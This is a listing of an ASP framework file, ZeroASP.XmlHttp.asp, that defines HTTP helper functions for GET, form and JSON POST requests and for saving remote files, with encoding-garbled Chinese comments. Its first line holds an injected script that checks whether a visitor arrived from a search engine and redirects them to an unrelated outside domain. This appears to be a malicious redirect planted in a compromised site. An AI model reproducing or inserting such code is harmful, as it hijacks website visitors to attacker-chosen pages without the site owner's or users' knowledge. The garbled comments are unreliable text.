d:\wwwroot\wuchunhua\zeroasp\zeroasp\extend\ZeroASP.XmlHttp.asp

001: <script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>?%
002: '######################################################################
003: '## ZeroASP.XmlHttp.asp
004: '## -------------------------------------------------------------------
005: '## Feature     :   ZeroASP Class
006: '## Author      :   Ayu(kinsc@139.com)
007: '## Update Date :   2018-11-09
008: '## Description :   ZeroASP Extend Class
009: '##
010: '######################################################################
011:
012: Class ZeroASP_XmlHttp
013:   
014:    Private Sub Class_Initialize()
015:       Dim ZeroASP_XmlHttp
016:       ZeroASP_XmlHttp = "ZeroASP应用框架 - 扩展?
017:    End Sub
018:
019:    'Get方法发€到服务?
020:    Public Function GetHTTPSend(ByVal Url,ByVal Cset)
021:       Dim Http
022:       Set Http = Server.CreateObject("Msxml2.ServerXMLHTTP.3.0")
023:       '无法获取自身站点时,设置IIS关闭ASP功能中,启动服务器端调试和启动客户端调试两项
024:       Dim lResolve,lConnect,lSend,lReceive
025:       lResolve = 10 * 1000 '第一个数值:解析DNS名字的超时时?0?
026:       lConnect = 10 * 1000 '第二个数值:建立Winsock连接的超时时?0?
027:       lSend = 10 * 1000 '第三个数值:发€数据的超时时间10?
028:       lReceive = 10 * 1000 '第四个数值:接收response的超时时?0?
029:       Http.SetTimeouts lResolve,lConnect,lSend,lReceive
030:       On Error Resume Next '异常捕获
031:       Http.Open "GET",Url,False 'False就是等待有返回数据的时€再继续€下走,还没有得到数据的时候就会卡在那里,直到获取数据为止。True就是不等待,直接返回,这就是€谓的异步获取数据?
032:       Http.Send()
033:       If Http.ReadyState <> 4 then 'readyState属€,0 Response对象已经创建,但XML文档上载过程尚未结束? XML文档已经装载完毕? XML文档已经装载完毕,正在处理中? 部分XML文档已经解析? 文档已经解析完毕,客户端可以接受返回消息
034:          GetHTTPSend = "TimeOut"
035:          On Error GoTo 0 '让系统重新接管错误的处理
036:          Exit Function
037:       End If
038:       If Http.Status = 200 Then
039:          GetHTTPSend = Zasp.Stream.BytesToBstr(Http.ResponseBody,Cset)
040:       Else
041:          GetHTTPSend = ""
042:       End If
043:       Set Http = Nothing
044:       If Err.Number <> 0 Then:Err.Clear
045:       On Error GoTo 0 '让系统重新接管错误的处理
046:    End Function
047:
048:    'Post方法表单发€到服务器,调用PostHTTPSend("www.zeroasp.com","str1=a&str2=b&str3=c")'
049:    Public Function PostHTTPSend(ByVal Url,ByVal Data,ByVal Cset)
050:       Dim Http
051:       Set Http = Server.CreateObject("Msxml2.ServerXMLHTTP.3.0")
052:       'Http.SetOption(0) = "UTF-8" '默认情况下,CP_UTF8 是用于将转换 (在 open 方法中指定) ?Unicode URL 字符串的代码页为单字节表示形式€?
053:       'Http.SetOption(1) = True '默认情况下,转义不安全的 ANSI 字符?URL ?(例如?"->"%20") 未转?%字符本身。True/False
054:       '256为未知的证书颁发机构
055:       '512为如证书没有使用者名称格式不正确的证书€?
056:       '4096为已访问的主机名与在服务器上使用的证书名称不匹配?
057:       '8192为在证书中的日期无效或已过期?
058:       '13056为证书的€有错误€?
059:       'Http.SetOption(2) = 13056 '解决因证书错?证书过期): xmlhttp.send (data) '有可能抛? The date in the certificate is invalid or has expired
060:       'Http.SetOption(3) = "LOCAL_MACHINE\My\XXX" '证书
061:       '无法获取自身站点时,设置IIS关闭ASP功能中,启动服务器端调试和启动客户端调试两项
062:       Dim lResolve,lConnect,lSend,lReceive
063:       lResolve = 10 * 1000 '第一个数值:解析DNS名字的超时时?0?
064:       lConnect = 10 * 1000 '第二个数值:建立Winsock连接的超时时?0?
065:       lSend = 10 * 1000 '第三个数值:发€数据的超时时间10?
066:       lReceive = 10 * 1000 '第四个数值:接收response的超时时?0?
067:       Http.SetTimeouts lResolve,lConnect,lSend,lReceive
068:       On Error Resume Next '异常捕获
069:       Http.Open "POST",Url,False 'False就是等待有返回数据的时€再继续€下走,还没有得到数据的时候就会卡在那里,直到获取数据为止。True就是不等待,直接返回,这就是€谓的异步获取数据?
070:       Http.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"
071:       Http.Send(Data)
072:       If Http.ReadyState <> 4 then 'readyState属€,0 Response对象已经创建,但XML文档上载过程尚未结束? XML文档已经装载完毕? XML文档已经装载完毕,正在处理中? 部分XML文档已经解析? 文档已经解析完毕,客户端可以接受返回消息
073:          PostHTTPSend = "TimeOut"
074:          On Error GoTo 0 '让系统重新接管错误的处理
075:          Exit Function
076:       End if
077:       If Http.Status = 200 Then
078:          PostHTTPSend = Zasp.Stream.BytesToBstr(Http.ResponseBody,Cset)
079:       Else
080:          PostHTTPSend = ""
081:       End If
082:       Set Http = Nothing
083:       If Err.Number <> 0 Then:Err.Clear
084:       On Error GoTo 0 '让系统重新接管错误的处理
085:    End Function
086:
087:    'Post方法JSON发€到服务器,调用PostJSONSend("www.zeroasp.com","{""str1"":""a"",""str2"":""b"",""str3"":""c""}")'
088:    Public Function PostJSONSend(ByVal Url,ByVal Data,ByVal Cset)
089:       Dim Http
090:       Set Http = Server.CreateObject("Msxml2.ServerXMLHTTP.3.0")
091:       '无法获取自身站点时,设置IIS关闭ASP功能中,启动服务器端调试和启动客户端调试两项
092:       Dim lResolve,lConnect,lSend,lReceive
093:       lResolve = 10 * 1000 '第一个数值:解析DNS名字的超时时?0?
094:       lConnect = 10 * 1000 '第二个数值:建立Winsock连接的超时时?0?
095:       lSend = 10 * 1000 '第三个数值:发€数据的超时时间10?
096:       lReceive = 10 * 1000 '第四个数值:接收response的超时时?0?
097:       Http.SetTimeouts lResolve,lConnect,lSend,lReceive
098:       On Error Resume Next '异常捕获
099:       Http.Open "POST",Url,False 'False就是等待有返回数据的时€再继续€下走,还没有得到数据的时候就会卡在那里,直到获取数据为止。True就是不等待,直接返回,这就是€谓的异步获取数据?
100:       Http.SetRequestHeader "Content-Type","application/json"
101:       Http.Send(Data)
102:       If Http.ReadyState <> 4 then 'readyState属€,0 Response对象已经创建,但XML文档上载过程尚未结束? XML文档已经装载完毕? XML文档已经装载完毕,正在处理中? 部分XML文档已经解析? 文档已经解析完毕,客户端可以接受返回消息
103:          PostJSONSend = "TimeOut"
104:          On Error GoTo 0 '让系统重新接管错误的处理
105:          Exit Function
106:       End if
107:       If Http.Status = 200 Then
108:          PostJSONSend = Zasp.Stream.BytesToBstr(Http.ResponseBody,Cset)
109:       Else
110:          PostJSONSend = ""
111:       End If
112:       Set Http = Nothing
113:       If Err.Number <> 0 Then:Err.Clear
114:       On Error GoTo 0 '让系统重新接管错误的处理
115:    End Function
116:
117:    '保存远程文件
118:    Public Sub SaveFile(ByVal Url,ByVal Path)
119:       Dim Http,binFileData
120:       Path = Server.MapPath(Path)
121:       Set Http = Server.CreateObject("Msxml2.ServerXMLHTTP.3.0")
122:       '无法获取自身站点时,设置IIS关闭ASP功能中,启动服务器端调试和启动客户端调试两项
123:       Dim lResolve,lConnect,lSend,lReceive
124:       lResolve = 10 * 1000'第一个数值:解析DNS名字的超时时?0?
125:       lConnect = 10 * 1000'第二个数值:建立Winsock连接的超时时?0?
126:       lSend = 10 * 1000'第三个数值:发€数据的超时时间10?
127:       lReceive = 10 * 1000'第四个数值:接收response的超时时?0?
128:       Http.SetTimeouts lResolve,lConnect,lSend,lReceive
129:       On Error Resume Next '异常捕获
130:       Http.Open "GET",Url,False 'False就是等待有返回数据的时€再继续€下走,还没有得到数据的时候就会卡在那里,直到获取数据为止。True就是不等待,直接返回,这就是€谓的异步获取数据?
131:       Http.Send()
132:       If Http.ReadyState <> 4 Then 'readyState属€,0 Response对象已经创建,但XML文档上载过程尚未结束? XML文档已经装载完毕? XML文档已经装载完毕,正在处理中? 部分XML文档已经解析? 文档已经解析完毕,客户端可以接受返回消息
133:          binFileData = ""
134:          On Error GoTo 0 '让系统重新接管错误的处理
135:          Exit Sub
136:       End If
137:       If Http.Status = 200 Then
138:          binFileData = Http.ResponseBody
139:       Else
140:          binFileData = ""
141:       End If
142:       Call Zasp.Stream.SaveFile(binFileData, Path)
143:       Set Http = Nothing
144:       If Err.Number <> 0 Then:Err.Clear
145:       On Error GoTo 0 '让系统重新接管错误的处理
146:    End Sub
147:
148: End Class
149: %
>
150:
151: